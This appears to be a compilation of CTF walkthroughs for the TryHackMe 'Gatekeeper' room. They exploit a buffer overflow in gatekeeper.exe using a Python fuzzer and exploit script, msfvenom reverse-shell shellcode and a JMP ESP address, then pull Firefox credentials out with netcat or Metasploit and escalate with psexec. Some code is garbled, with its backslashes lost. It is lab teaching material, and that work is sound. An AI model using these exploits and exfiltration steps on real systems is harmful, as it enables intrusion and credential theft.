NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.
Today let’s play Tryhackme’s Gatekeeper at
This is a writeup of Gatekeeper from TryHackMe.
The goal of these writeups is to share with others whilst developing reporting habits and improving my own process. This writeup will not include any passwords/cracked hashes/flags.
Credits to the room creator/s.
First, we will connect to the VPN. If you are not familiar with the process go through this room first and the other ‘getting started’ rooms.
Once we are connected we will deploy the machine:
When we click deploy, the machine will be started and we will need to wait a few minutes for it to get setup. We will be given an IP for the machine, in my case it’s 10.10.181.193 and the time limit which we can add to if we need to:
For this machine I’ll be using a Kali Linux VM and a Windows 10 VM with Immunity Debugger installed.
First, we have the following hint from the room description:
Can you get past the gate and through the fire?
We will start off with an nmap scan:
nmap -sC -sV -oN gatekeeper-scan 10.10.181.193
Taken from our scan results we have:
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 SP1 3389/tcp open tcpwrapped 31337/tcp open Elite? 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC 49161/tcp open msrpc Microsoft Windows RPC
We have usual ports for Microsoft Windows RPC. We have SMB on ports 139 and 445, RDP on port 3389 and an unusual port open at 31337. From these results we can assume that we will enumerate SMB further and whatever is happening on port 31337.
To begin we will enumerate SMB using smbclient:
smbclient -L \\\\10.10.181.193\\
After using smbclient to try listing each of the disks we discover that we only have access to the Users disk. There might be useful files or information disclosure stored on SMB so we will take a look:
Listing the contents we descover Default, desktop.ini and Share. Out of all of these share is the most likely place to look. We will change directory to Share from the smb prompt and list the contents:
cd Share ls
In the Share directory we find gatekeeper.exe, this is likely to be part of our attack service. We will download the executable to our Kali machine:
We also want to enumerate what we can from port 31337. To do this we will use netcat:
nc -nv 10.10.181.193 31337
When we press return the port responds with ‘Hello !!!’. If we add input at the prompt we get a response of ‘Hello <our text>!!!’ :
There is a program running on port 31337 that accepts user input. This indicates to us that it may be vulnerble to buffer overflow but we don’t want to test that on a live machine and risk crashing the service and having to reboot the machine. Assuming the program is likely to be the gatekeeper.exe we found on SMB we will use our Windows Lab machine to run our tests.
We will setup a python server in the directory containing our executable and download it onto our Windows Lab machine. From Kali we will run:
python3 -m http.server 80
And from our Windows machine we will run:
certutil -urlcache -f http://<kali ip>/gatekeeper.exe gatekeeper.exe
Now we have the executable on our Windows Lab, we will run it and connect to it using netcat same as before:
nc -nv <windows lab IP> 31337
We can confirm that it is the same program and we can catch the response back on our Windows machine:
When we send through some data we can see that the program is counting the bytes received and the bytes sent. If we can crash the program we may be able to create a buffer overflow exploit.
First we will setup a script that we can use to fuzz the program:
address = ‘<target IP>’
port = 31337
buffer = [‘A’]
counter = 100while len(buffer) < 10:
for string in buffer:
print ‘[+] Sending %s bytes…’ % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.send(string + ‘\r\n’)
print ‘[+] Done’
print ‘[!] Unable to connect to the application. You may have crashed it.’
When we run our script we crash the program at around around 202 bytes:
We can verify this in Immunity Debugger noting that the instruction pointer (EIP) has been overwritten with four A’s. We carry on from this point to create an exploit for this vulnerable program:
I have a skeleton exploit script that I use for these kind of buffer overflows and with a couple of changes you can adjust the fuzzer script above to work the way you want it to. We will go through each section step by step without giving too much away so it can remain a challenge.
Verifying the Script
The first thing I do is make sure the script makes the program behave in the same way as the proof of concept did previously. For this I will update my script with the target IP and port and make it so it sends a buffer of 210 A’s to our target application. This is what our buffer payload will deliver:
We run the vulnerable program on our Windows machine and attach it to Immunity Debugger:
This will load our application into Immunity. Before we run the python exploit we will want to make sure the program is running in Immunity and not paused. Let’s make sure our exploit crashes the program as expected:
We can see that our exploit crashes the program the same as the fuzzer. Now we can move on to verifying the offset of the instruction pointer.
Finding the Offset
For this we will generate a unique string using msf-pattern_create that we will send us the buffer. We can then use the value that overwrites the EIP to identify exactly where the offset is.
First, we will generate the pattern:
msf-pattern_create -l 210
This will return a unique string of 210 bytes:
We will add this string to our exploit and comment out the previous payload. We only want to send the unique string as our buffer:
Next, we will go back to restart Immunity and run + re-attach gatekeeper.exe on our Windows machine. When that’s set up we will run the exploit:
We can see that our EIP has been overwritten with the value of 39654138. With this we can use msf-pattern_offset to calculate the offset:
msf-pattern_offset -l 210 -q 39654138
Great, we have an exact match for the offset of 146.
Confirming the Offset
Next up for our python script is to confirm the offset. We can do this by modifying the buffer as follows:
If all goes according to plan we will overwrite the EIP with 42424242 (four B’s). We will reset our Windows debug environment and run the exploit:
The EIP is overwritten as expected verifying our offset. Next, we will need to identify bad caracters that musn’t be used in the payload.
Identifying Bad Characters
We have a setup section in our bof skeleton exploit for bad characters. We will replace the sixty C’s we were sending with our block of bad characters, meaning our buffer will send 146 A’s followed by 4 B’s followed by our string of bad characters. It is expected that the null-byte will be break the code so we have already removed this aas a bad character:
We reset our debugging environment and run the python script. We crash the program as expected and now we want to right click on our ESP register and select ‘follow in dump’ from the menu:
This will bring up our section of bad characters in the hex dump.
This is what we are looking out for. We can see that all characters are fine except for \x0A which has been changed to \x00, we will need to include it as a bad character when we generate our payload.
Finding a JMP ESP Module
We need to find a jump address that we can use to put in our EIP which will serve as a way of redirecting to our shellcode. We can do this within Immunity Debugger using mona modules.
After our previous crash we can type into the box just below the hex dump:
From this we will be checking for ASLR to be False. It appears we can use gatekeeper.exe if we can find a jump esp address within it. To check this we will need to search gatekeeper.exe for jump esp:
!mona jmp -r esp -m gatekeeper.exe
We managed to find two pointers we could user, neither contain bad characters. We will work with 0x080414c3. For our exploit we will need to adjust this to be in Little Endian format, like this; \xc3\x14\x04\x08.
Verifying Shellcode Space
We need at least 351 bytes available to us for shellcode space after our jump to esp. We will verify this by adjusting the payload as follows:
The expected result being after the crash 351 C’s are loaded into the ESP register. We can test this by running the exploit against the applicaion whilst it is attached to Immunity:
It looks like we will have enough space, if there is an issue here we can re-trace our steps and fix it.
Next, we will generate our shell code using msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=<my IP> LPORT=4444 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a"
We will copy the resulting shellcode into our exploit and setup our netcat listner:
nc -lvnp 4444
We will have the shellcode replace the section of C’s in our buffer (be sure to remove / comment out the C’s), and run the exploit against our Windows lab machine, we also add a 20 byte nopsled before our shellcode starts:
We get a shell as admin on our Windows Lab machine.
It’s important to note we will have to make some adjustments to our exploit before running it against the target:
- Change the IP in the exploit to the IP of the target.
- Regenerate the shellcode using our TryHackMe IP.
With that done we can run it against the target machine.
This is my first walkthrough and I though what’s a better topic then Buffer Overflow to start with.
lets attach it to immunity debugger and try to fuzz it
#!/usr/bin/python import socket,sys from time import sleep ip="192.168.152.129" //change this port=31337 bof = ['A'] cntr = 100 while len(bof)<=30: bof.append("A"*cntr) print cntr cntr = cntr +200 for string in bof: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) print "Fuzzing with "+str(len(string))+" Characters" s.send(string + 'nr') s.recv(1024) s.close() sys.exit(0)
Creating a Skeleton code is simple :
#!/usr/bin/python import socket,sys from time import sleep ip="192.168.152.129" port=31337 shellcode=("") bof = "A"*146+"BBBB"+"C"*(300-146-4) try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) print "Fuzzing with "+str(len(bof))+" Characters" s.send(bof + 'nr') s.recv(1024) s.close() except: print "Some Error Occured" sys.exit(0)
Now lets find out which of the 300 As we sent overwrote the EIP using pattern_create.rb script as follows replace the 300 A with the output
When we run the script again we can see EIP is overwritten with 39654138 so querying it with pattern_offset.rb gives us the location as 146
Lets replace 300 As with following in the skeleton code:
bof = "A"*146+"BBBB"+"C"*(300-146-4)
Now we try increasing the number of Cs lets replace c*(300-146-4) with C*(1000) so we have some breathing space if it works
It does work and we have 846 characters of space for our shellcode
Next Step is to find the BAD-Characters :
In layman’s term bad characters have some special meaning for the specific application
x00 is the usual suspect (acts as truncate in lots of places)
We’ll simply replace Cs with all available HEX characters ie x01 to xff (almost every time x00 is a bad character so lets just save time assuming that it one)
Now lets find the modules that we can use for redirecting the code execution to ESP as our Cs are being stored in the ESP
we use the mona to find the modules
now lets try to search for JMP ESP if it exists in gatekeeper.exe
!mona find -s "xffxe4" -m gatekeepr.exe
and we get two addresses where it is being used. Here I’ll be using the first address you can go ahead and experiment with the second one
We set a breakpoint using F2 And make changes in the code accordingly and We replace the B’s in the code with the address
When we run the script the program execution is stopped at the breakpoint showing that our code is properly calling the address and everything we did till now is working
We’ll use Metasploit Venom to generate the shellcode
msfvenom -p windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.152.128 EXITFUNC=thread -a x86 -e x86/shikata_ga_nai -b "x00x0a" -f c
Add the generated shellcode to the code. We’ll keep a NOP sled for 16 characters using : “x90″*16 before the shellcode.
Final test exploit will look something like this:
#!/usr/bin/python import socket,sys from time import sleep ip="192.168.152.129" port=31337 #addr =080414C3 addr="xC3x14x04x08" shellcode=("--------Your shellcode------------") bof = "A"*146+addr+"x90"*16+shellcode #shellcode length can be 844 #badchar = x00x0a try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) print "Fuzzing with "+str(len(bof))+" Characters" s.send(bof + 'nr') s.recv(1024) s.close() except: print "Some Error Occured" sys.exit(0)
Before running the exploit get multi/handler ready
Now that we have the working exploit we can send it to the victim machine by just changing the IP in the msfvenom command for generating the shell use above.
Exploitation & Privilege Escalation
Method 1: Manually
We setup our listener:
nc -lvnp 4444
And run our python exploit against the target:
We are returned a shell on the target. From here we can grab the user.txt file:
From here we can take a look at which programs have been installed by checking C:\Program Files (x86)\ :
cd c:\Program Files (x86)\ dir
From the output we can see that Mozilla Firefox is installed. Sometimes credentials can be retrieved from browsers so we will look into this further. After some further enumeration and hoping to find a manual exploit path I found this blogpost about credential dumping from firefox using metasploit.
Looking at the paths that the exploit tries to find files in let’s see if we can grab these files from our shell. We can find the files we need in the following directory:
The files that we want are listed in the directory:
We will transfer a copy of netcat over to the target and use it to send the files to our Kali machine. First, we will start a python server in our directory containing the nc.exe binary:
python3 -m http.server 80
Then we will download the binary onto the target machine:
certutil -urlcache -f http://<my IP>/nc.exe nc.exe
We can now transfer the four files we need to our Kali machine using netcat.
nc -lvnp <port> > filename
nc -nv <ip> <port> < c:\path\to\file
We can check we have all four files transferred to our Kali machine:
Now, we can use a tool called firefox_decrypt.py to get credentials from the file. We download the python file and run it:
python firefox_decrypt.py /root/Blog/tryhackme/gatekeeper/foxfire/
We successfully recover a username and a password. We can now use psexec to get a remote shell on the system:
From here we can grab the final flag.
Method 2: Metasploit
We can replace the shell in our buffer overflow to be a meterpreter shell by changing the msfvenom command to use a meterpreter payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<my IP> LPORT=4444 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a"
We run our exploit and we have a meterpreter shell:
Next, we use the module suggested to download possible files we could use, that firefox stores, to get credentials from:
With the files saved to /root/.msf4/loot/ we can continue the exploit as we did in the manual method.
Thanks to everyone who worked on the machine. Really enjoyed the buffer overflow into user and learnt something new to look out for with the privesc!
msfvenom payload for Meterpreter shell
Reverse shell via multi/handler exploit
Utilizing the enum_applications module, users will discover that Firefox is running on the low privilege user machine. No other exploits are available, despite local_privilege_suggester providing two different possibilities (local admin is turned off). See below for the Firefox credential dump and enum_applications.
Credential dump with run post/multi/gather/firefox_creds
Now that credentials are dumped, users will be required to grab the Firefox Decrypt tool from Github (https://github.com/unode/firefox_decrypt). Instructions are provided on the page, but in short, users will be required to rename the four different outputs from the Firefox_cred module. See below.
Before renaming the files
After renaming files appropriately
We can then run the Firefox Decrypt tool to dump the credentials from Firefox.
python firefox_decrypt.py /root/.msf4/loot/
Finally, we can utilize the above credentials to log in to the “mayor” account using psexec.
psexec.py user:firstname.lastname@example.org and NT AUTHORITY\SYSTEM
files used :
Author – Puckiestyle